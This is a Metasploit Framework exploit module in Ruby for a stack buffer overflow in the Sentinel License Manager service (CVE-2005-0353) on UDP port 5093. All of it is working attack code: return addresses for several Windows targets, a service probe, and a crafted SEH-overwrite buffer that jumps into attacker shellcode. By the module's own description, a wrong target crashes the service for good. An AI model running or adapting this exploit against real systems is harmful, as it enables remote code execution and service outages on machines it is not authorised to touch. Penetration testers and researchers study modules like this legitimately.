SentinelLM UDP Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'SentinelLM UDP Buffer Overflow',  
'Description' => %q{  
This module exploits a simple stack overflow in the Sentinel  
License Manager. The SentinelLM service is installed with a  
wide selection of products and seems particular popular with  
academic products. If the wrong target value is selected,  
the service will crash and not restart.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-0353'],  
[ 'OSVDB', '14605'],  
[ 'BID', '12742'],  
  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x20",  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll  
['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll  
['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll  
['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll  
['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb  
],  
'DisclosureDate' => 'Mar 07 2005' ))  
  
register_options(  
[  
Opt::RPORT(5093)  
], self.class)  
end  
  
def check  
connect_udp  
udp_sock.put("\x7a\x00\x00\x00\x00\x00")  
res = udp_sock.recvfrom(8192)  
disconnect_udp  
  
if (res and res[0] == 0x7a)  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_udp  
  
# Payload goes first  
buf = payload.encoded + rand_text_english(2048-payload.encoded.length)  
  
# Return to a pop/pop/ret via SEH  
buf[836, 4] = [target.ret].pack('V')  
  
# The pop/pop/ret takes us here, jump back 5 bytes  
buf[832, 2] = "\xeb\xf9"  
  
# Now jump all the way back to our shellcode  
buf[827, 5] = "\xe9" + [-829].pack('V')  
  
udp_sock.put(buf)  
udp_sock.recvfrom(8192)  
  
handler  
disconnect_udp  
end  
  
  
end  
`